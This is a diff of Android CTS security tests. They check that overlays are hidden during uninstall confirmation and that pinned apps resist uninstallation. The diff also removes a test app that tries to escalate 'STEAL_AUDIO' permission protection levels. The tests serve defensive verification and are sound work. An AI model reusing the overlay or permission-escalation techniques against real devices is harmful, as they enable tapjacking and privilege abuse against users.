+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/src/android/packageinstaller/selfuninstalling/cts/SelfUninstallActivity.java
@@ -0,0 +1,33 @@
+package android.packageinstaller.selfuninstalling.cts;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.Uri;
+import android.os.Bundle;
+import android.view.View;
+import android.widget.Button;
+
+import androidx.annotation.Nullable;
+
+public class SelfUninstallActivity extends Activity {
+
+ private static final String ACTION_SELF_UNINSTALL =
+ "android.packageinstaller.selfuninstalling.cts.action.SELF_UNINSTALL";
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.self_uninstalling_activity);
+ registerReceiver(new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Intent i = new Intent(Intent.ACTION_UNINSTALL_PACKAGE).setData(
+ Uri.fromParts("package", getPackageName(), null));
+ startActivity(i);
+ }
+ }, new IntentFilter(ACTION_SELF_UNINSTALL));
+ }
+}
diff --git a/tests/tests/packageinstaller/uninstall/Android.bp b/tests/tests/packageinstaller/uninstall/Android.bp
index 26e9d7e..4ee4b99 100644
--- a/tests/tests/packageinstaller/uninstall/Android.bp
+++ b/tests/tests/packageinstaller/uninstall/Android.bp
@@ -20,12 +20,15 @@
"androidx.test.rules",
"compatibility-device-util-axt",
"platform-test-annotations",
+ "cts-wm-util",
],
+ resource_dirs: ["res"],
srcs: ["src/**/*.java"],
sdk_version: "test_current",
// Tag this module as a cts test artifact
test_suites: [
"cts",
"general-tests",
+ "sts",
],
}
diff --git a/tests/tests/packageinstaller/uninstall/AndroidManifest.xml b/tests/tests/packageinstaller/uninstall/AndroidManifest.xml
index cfae7b9..a86f03a 100644
--- a/tests/tests/packageinstaller/uninstall/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/uninstall/AndroidManifest.xml
@@ -17,6 +17,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.packageinstaller.uninstall.cts" >
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
<application android:label="Cts Package Uninstaller Tests">
diff --git a/tests/tests/packageinstaller/uninstall/AndroidTest.xml b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
index 9fc0a88..dd98214 100644
--- a/tests/tests/packageinstaller/uninstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
@@ -31,4 +31,14 @@
<option name="package" value="android.packageinstaller.uninstall.cts" />
<option name="runtime-hint" value="1m" />
</test>
+ <!-- Create place to store apks -->
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/cts/uninstall" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
+ </target_preparer>
+
+ <!-- Load additional APKs onto device -->
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="CtsSelfUninstallingTestApp.apk->/data/local/tmp/cts/uninstall/CtsSelfUninstallingTestApp.apk" />
+ </target_preparer>
</configuration>
diff --git a/tests/tests/packageinstaller/uninstall/res/layout/overlay_activity.xml b/tests/tests/packageinstaller/uninstall/res/layout/overlay_activity.xml
new file mode 100644
index 0000000..869bf14
--- /dev/null
+++ b/tests/tests/packageinstaller/uninstall/res/layout/overlay_activity.xml
@@ -0,0 +1,30 @@
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:padding="8dp"
+ android:gravity="center">
+
+ <TextView android:id="@+id/overlay_description"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:textColor="@android:color/black"
+ android:background="@android:color/white"
+ android:text="This is an overlay" />
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java
new file mode 100644
index 0000000..84c2696
--- /dev/null
+++ b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java
@@ -0,0 +1,164 @@
+/*
+ * Copyright (C) 2020 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.packageinstaller.uninstall.cts;
+
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import static com.android.compatibility.common.util.SystemUtil.eventually;
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import static com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.ActivityTaskManager;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
+import android.server.wm.WindowManagerStateHelper;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.AppOpsUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.IOException;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+public class UninstallPinnedTest {
+
+ private static final String APK =
+ "/data/local/tmp/cts/uninstall/CtsSelfUninstallingTestApp.apk";
+ private static final String TEST_PKG_NAME = "android.packageinstaller.selfuninstalling.cts";
+ private static final String TEST_ACTIVITY_NAME = TEST_PKG_NAME + ".SelfUninstallActivity";
+ private static final String ACTION_SELF_UNINSTALL =
+ "android.packageinstaller.selfuninstalling.cts.action.SELF_UNINSTALL";
+ private static final ComponentName COMPONENT = new ComponentName(TEST_PKG_NAME, TEST_ACTIVITY_NAME);
+ public static final String CALLBACK_ACTION =
+ "android.packageinstaller.uninstall.cts.action.UNINSTALL_PINNED_CALLBACK";
+
+ private WindowManagerStateHelper mWmState = new WindowManagerStateHelper();
+ private Context mContext;
+ private UiDevice mUiDevice;
+ private ActivityTaskManager mActivityTaskManager;
+
+ @Before
+ public void setup() throws Exception {
+ mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ mActivityTaskManager = mContext.getSystemService(ActivityTaskManager.class);
+
+ // Unblock UI
+ mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ if (!mUiDevice.isScreenOn()) {
+ mUiDevice.wakeUp();
+ }
+ mUiDevice.executeShellCommand("wm dismiss-keyguard");
+ AppOpsUtils.reset(mContext.getPackageName());
+
+ runShellCommand("pm install -r --force-queryable " + APK);
+
+ Intent i = new Intent()
+ .setComponent(COMPONENT)
+ .addFlags(FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(i);
+
+ pinActivity(COMPONENT);
+ }
+
+ @Test
+ public void testAppCantUninstallItself() throws Exception {
+ mUiDevice.waitForIdle();
+ eventually(() -> {
+ mContext.sendBroadcast(new Intent(ACTION_SELF_UNINSTALL));
+ waitFindObject(By.text("OK")).click();
+ }, 60000);
+
+ mUiDevice.waitForIdle();
+
+ Thread.sleep(5000);
+
+ assertTrue("Package was uninstalled.", isInstalled());
+ }
+
+ @Test
+ public void testCantUninstallAppDirectly() {
+ CompletableFuture<Integer> statusFuture = new CompletableFuture<>();
+ mContext.registerReceiver(new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ statusFuture.complete(
+ intent.getIntExtra(PackageInstaller.EXTRA_STATUS, Integer.MAX_VALUE));
+ }
+ }, new IntentFilter(CALLBACK_ACTION));
+
+ runWithShellPermissionIdentity(() -> {
+ mContext.getPackageManager().getPackageInstaller().uninstall(TEST_PKG_NAME,
+ PendingIntent.getBroadcast(mContext, 1,
+ new Intent(CALLBACK_ACTION),
+ 0).getIntentSender());
+ });
+
+ int status = statusFuture.join();
+ assertEquals("Wrong code received", PackageInstaller.STATUS_FAILURE_BLOCKED, status);
+ assertTrue("Package was uninstalled.", isInstalled());
+ }
+
+ @Test
+ public void testCantUninstallWithShell() throws Exception {
+ mUiDevice.executeShellCommand("pm uninstall " + TEST_PKG_NAME);
+ assertTrue("Package was uninstalled.", isInstalled());
+ }
+
+ @After
+ public void unpinAndUninstall() throws IOException {
+ runWithShellPermissionIdentity(() -> mActivityTaskManager.stopSystemLockTaskMode());
+ mUiDevice.executeShellCommand("pm uninstall " + TEST_PKG_NAME);
+ }
+
+ private void pinActivity(ComponentName component) {
+ mWmState.computeState();
+
+ int stackId = mWmState.getStackIdByActivity(component);
+
+ runWithShellPermissionIdentity(() -> {
+ mActivityTaskManager.startSystemLockTaskMode(
+ stackId);
+ });
+ }
+
+ private boolean isInstalled() {
+ try {
+ mContext.getPackageManager().getPackageInfo(TEST_PKG_NAME, 0);
+ return true;
+ } catch (PackageManager.NameNotFoundException e) {
+ return false;
+ }
+ }
+}
diff --git a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
index ca3cb3e..ce7878f 100644
--- a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
+++ b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
@@ -15,24 +15,38 @@
*/
package android.packageinstaller.uninstall.cts;
+import static android.app.AppOpsManager.MODE_ALLOWED;
import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.graphics.PixelFormat.TRANSLUCENT;
+import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.Uri;
+import android.os.Handler;
+import android.os.Looper;
import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SecurityTest;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
import android.support.test.uiautomator.Until;
import android.util.Log;
+import android.view.Gravity;
import android.view.KeyEvent;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
@@ -85,14 +99,58 @@
}
}
- @Test
- public void testUninstall() throws Exception {
- assertTrue(isInstalled());
-
+ private void startUninstall() {
Intent intent = new Intent(Intent.ACTION_UNINSTALL_PACKAGE);
intent.setData(Uri.parse("package:" + TEST_APK_PACKAGE_NAME));
intent.addFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
mContext.startActivity(intent);
+ }
+
+ @SecurityTest
+ @Test
+ public void overlaysAreSuppressedWhenConfirmingUninstall() throws Exception {
+ AppOpsUtils.setOpMode(mContext.getPackageName(), "SYSTEM_ALERT_WINDOW", MODE_ALLOWED);
+
+ WindowManager windowManager = mContext.getSystemService(WindowManager.class);
+ LayoutParams layoutParams = new LayoutParams(MATCH_PARENT, MATCH_PARENT,
+ TYPE_APPLICATION_OVERLAY, 0, TRANSLUCENT);
+ layoutParams.gravity = Gravity.CENTER_HORIZONTAL | Gravity.CENTER_VERTICAL;
+
+ View[] overlay = new View[1];
+ new Handler(Looper.getMainLooper()).post(() -> {
+ overlay[0] = LayoutInflater.from(mContext).inflate(R.layout.overlay_activity,
+ null);
+ windowManager.addView(overlay[0], layoutParams);
+ });
+
+ try {
+ mUiDevice.wait(Until.findObject(By.res(mContext.getPackageName(),
+ "overlay_description")), TIMEOUT_MS);
+
+ startUninstall();
+
+ long start = System.currentTimeMillis();
+ while (System.currentTimeMillis() - start < TIMEOUT_MS) {
+ try {
+ assertNull(mUiDevice.findObject(By.res(mContext.getPackageName(),
+ "overlay_description")));
+ return;
+ } catch (Throwable e) {
+ Thread.sleep(100);
+ }
+ }
+
+ fail();
+ } finally {
+ windowManager.removeView(overlay[0]);
+ }
+ }
+
+ @Test
+ public void testUninstall() throws Exception {
+ assertTrue(isInstalled());
+
+ startUninstall();
if (mUiDevice.wait(Until.findObject(By.text("Do you want to uninstall this app?")),
TIMEOUT_MS) == null) {
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
index 857e429..f547c4f 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
@@ -21,6 +21,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
certificate: ":cts-testkey1",
}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
index 3f560de..44bb7e8 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
@@ -20,8 +20,8 @@
// Tag this module as a cts test artifact
test_suites: [
"cts",
- "vts10",
"general-tests",
+ "sts",
],
certificate: ":cts-testkey1",
}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/AndroidManifest.xml
index c339d12..6320618 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/AndroidManifest.xml
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/AndroidManifest.xml
@@ -17,7 +17,7 @@
<manifest
xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.permission.cts.revokepermissionwhenremoved.installpermissionescalatorrapp">
+ package="android.permission.cts.revokepermissionwhenremoved.installpermissionescalatorapp">
<permission
android:name="android.permission.cts.revokepermissionwhenremoved.TestInstallPermission"
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
index 40343be..9cb7c55 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
@@ -21,6 +21,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
certificate: ":cts-testkey2",
}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/AndroidManifest.xml
new file mode 100644
index 0000000..7a0e405
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission.cts.revokepermissionwhenremoved.installtimepermissionuserapp">
+
+ <uses-permission android:name="android.permission.cts.revokepermissionwhenremoved.TestInstalltimePermission" />
+
+ <application>
+ </application>
+</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
index 0fc7142..8732641 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
@@ -21,6 +21,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
certificate: ":cts-testkey1",
}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
index f076640..79dd52e 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
@@ -21,6 +21,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
certificate: ":cts-testkey2",
}
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 5911070..0bd7034 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -4331,6 +4331,10 @@
<permission android:name="android.permission.WRITE_DREAM_STATE"
android:protectionLevel="signature|privileged" />
+ <!-- @hide Allows applications to read whether ambient display is suppressed. -->
+ <permission android:name="android.permission.READ_DREAM_SUPPRESSION"
+ android:protectionLevel="signature" />
+
<!-- @SystemApi Allow an application to read and write the cache partition.
@hide -->
<permission android:name="android.permission.ACCESS_CACHE_FILESYSTEM"
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index d3f6942..bb48193 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -69,9 +69,6 @@
private static final String MANAGE_COMPANION_DEVICES_PERMISSION
= "android.permission.MANAGE_COMPANION_DEVICES";
- private static final Date INPUT_CONSUMER_PATCH_DATE = parseDate("2020-12-05");
- private static final String INPUT_CONSUMER_PERMISSION = "android.permission.INPUT_CONSUMER";
-
private static final String LOG_TAG = "PermissionProtectionTest";
private static final String PLATFORM_PACKAGE_NAME = "android";
@@ -454,8 +451,6 @@
return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE);
case MANAGE_COMPANION_DEVICES_PERMISSION:
return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE);
- case INPUT_CONSUMER_PERMISSION:
- return parseDate(SECURITY_PATCH).before(INPUT_CONSUMER_PATCH_DATE);
default:
return false;
}
diff --git a/tests/tests/permission3/Android.bp b/tests/tests/permission3/Android.bp
index 576e1ed..bdc5728 100644
--- a/tests/tests/permission3/Android.bp
+++ b/tests/tests/permission3/Android.bp
@@ -27,8 +27,6 @@
"ctstestrunner-axt",
],
data: [
- ":CtsPermissionEscalationAppNonRuntime",
- ":CtsPermissionEscalationAppRuntime",
":CtsPermissionPolicyApp25",
":CtsUsePermissionApp22",
":CtsUsePermissionApp22CalendarOnly",
diff --git a/tests/tests/permission3/AndroidTest.xml b/tests/tests/permission3/AndroidTest.xml
index 557de85..cdf7308 100644
--- a/tests/tests/permission3/AndroidTest.xml
+++ b/tests/tests/permission3/AndroidTest.xml
@@ -33,8 +33,6 @@
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="CtsPermissionEscalationAppNonRuntime.apk->/data/local/tmp/cts/permission3/CtsPermissionEscalationAppNonRuntime.apk" />
- <option name="push" value="CtsPermissionEscalationAppRuntime.apk->/data/local/tmp/cts/permission3/CtsPermissionEscalationAppRuntime.apk" />
<option name="push" value="CtsPermissionPolicyApp25.apk->/data/local/tmp/cts/permission3/CtsPermissionPolicyApp25.apk" />
<option name="push" value="CtsUsePermissionApp22.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp22.apk" />
<option name="push" value="CtsUsePermissionApp22CalendarOnly.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp22CalendarOnly.apk" />
diff --git a/tests/tests/permission3/PermissionEscalationAppNonRuntime/AndroidManifest.xml b/tests/tests/permission3/PermissionEscalationAppNonRuntime/AndroidManifest.xml
deleted file mode 100644
index 1584686..0000000
--- a/tests/tests/permission3/PermissionEscalationAppNonRuntime/AndroidManifest.xml
+++ /dev/null
@@ -1,37 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!--
- ~ Copyright (C) 2016 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-
-<manifest
- xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.permission3.cts.permissionescalation">
-
- <permission
- android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO1"
- android:permissionGroup="android.permission-group.MICROPHONE"
- android:protectionLevel="normal" />
-
- <permission
- android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO2"
- android:permissionGroup="android.permission-group.MICROPHONE"
- android:protectionLevel="signature" />
-
- <uses-permission android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO1" />
- <uses-permission android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO2" />
-
- <application android:hasCode="false" />
-</manifest>
diff --git a/tests/tests/permission3/PermissionEscalationAppRuntime/Android.bp b/tests/tests/permission3/PermissionEscalationAppRuntime/Android.bp
deleted file mode 100644
index b41701d..0000000
--- a/tests/tests/permission3/PermissionEscalationAppRuntime/Android.bp
+++ /dev/null
@@ -1,20 +0,0 @@
-//
-// Copyright (C) 2016 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-android_test_helper_app {
- name: "CtsPermissionEscalationAppRuntime",
- certificate: ":cts-testkey2",
-}
diff --git a/tests/tests/permission3/PermissionEscalationAppRuntime/AndroidManifest.xml b/tests/tests/permission3/PermissionEscalationAppRuntime/AndroidManifest.xml
deleted file mode 100644
index 4f2eb75..0000000
--- a/tests/tests/permission3/PermissionEscalationAppRuntime/AndroidManifest.xml
+++ /dev/null
@@ -1,37 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!--
- ~ Copyright (C) 2016 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-
-<manifest
- xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.permission3.cts.permissionescalation">
-
- <permission
- android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO1"
- android:permissionGroup="android.permission-group.MICROPHONE"
- android:protectionLevel="dangerous" />
-
- <permission
- android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO2"
- android:permissionGroup="android.permission-group.MICROPHONE"
- android:protectionLevel="dangerous" />
-
- <uses-permission android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO1" />
- <uses-permission android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO2" />
-
- <application android:hasCode="false" />
-</manifest>
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 3af1b50..9721517 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -127,7 +127,7 @@
return UiAutomatorUtils.waitFindObject(selector, timeoutMillis)
}
- protected fun click(selector: BySelector, timeoutMillis: Long = 10_000) {
+ protected fun click(selector: BySelector, timeoutMillis: Long = 20_000) {
waitFindObject(selector, timeoutMillis).click()
waitForIdle()
}
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionEscalationTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionEscalationTest.kt
deleted file mode 100644
index f4a6804..0000000
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionEscalationTest.kt
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.permission3.cts
-
-import android.content.pm.PermissionInfo
-import androidx.test.runner.AndroidJUnit4
-import org.junit.After
-import org.junit.Assert.assertEquals
-import org.junit.Before
-import org.junit.Test
-import org.junit.runner.RunWith
-
-@RunWith(AndroidJUnit4::class)
-class PermissionEscalationTest : BasePermissionTest() {
- companion object {
- const val APP_APK_PATH_NON_RUNTIME =
- "$APK_DIRECTORY/CtsPermissionEscalationAppNonRuntime.apk"
- const val APP_APK_PATH_RUNTIME = "$APK_DIRECTORY/CtsPermissionEscalationAppRuntime.apk"
- const val APP_PACKAGE_NAME = "android.permission3.cts.permissionescalation"
- }
-
- @Before
- @After
- fun uninstallApp() {
- uninstallPackage(APP_PACKAGE_NAME, requireSuccess = false)
- }
-
- @Test
- fun testCannotEscalateNonRuntimePermissionsToRuntime() {
- installPackage(APP_APK_PATH_NON_RUNTIME)
- installPackage(APP_APK_PATH_RUNTIME, reinstall = true)
-
- // Ensure normal permission cannot be made dangerous
- val permissionInfo1 = packageManager.getPermissionInfo("$APP_PACKAGE_NAME.STEAL_AUDIO1", 0)
- assertEquals(
- "Shouldn't be able to change normal permission to dangerous",
- PermissionInfo.PROTECTION_NORMAL, permissionInfo1.protection
- )
-
- // Ensure signature permission cannot be made dangerous
- val permissionInfo2 = packageManager.getPermissionInfo("$APP_PACKAGE_NAME.STEAL_AUDIO2", 0)
- assertEquals(
- "Shouldn't be able to change signature permission to dangerous",
- PermissionInfo.PROTECTION_SIGNATURE, permissionInfo2.protection
- )
- }
-}
diff --git a/tests/tests/provider/Android.bp b/tests/tests/provider/Android.bp
index 250ae7d..a1e0e1b 100644
--- a/tests/tests/provider/Android.bp
+++ b/tests/tests/provider/Android.bp
@@ -8,6 +8,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
libs: [
diff --git a/tests/tests/provider/preconditions/Android.bp b/tests/tests/provider/preconditions/Android.bp
index 2f2dfae..0e3d6e8 100644
--- a/tests/tests/provider/preconditions/Android.bp
+++ b/tests/tests/provider/preconditions/Android.bp
@@ -10,6 +10,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts"
],
host_supported: true,
device_supported: false,
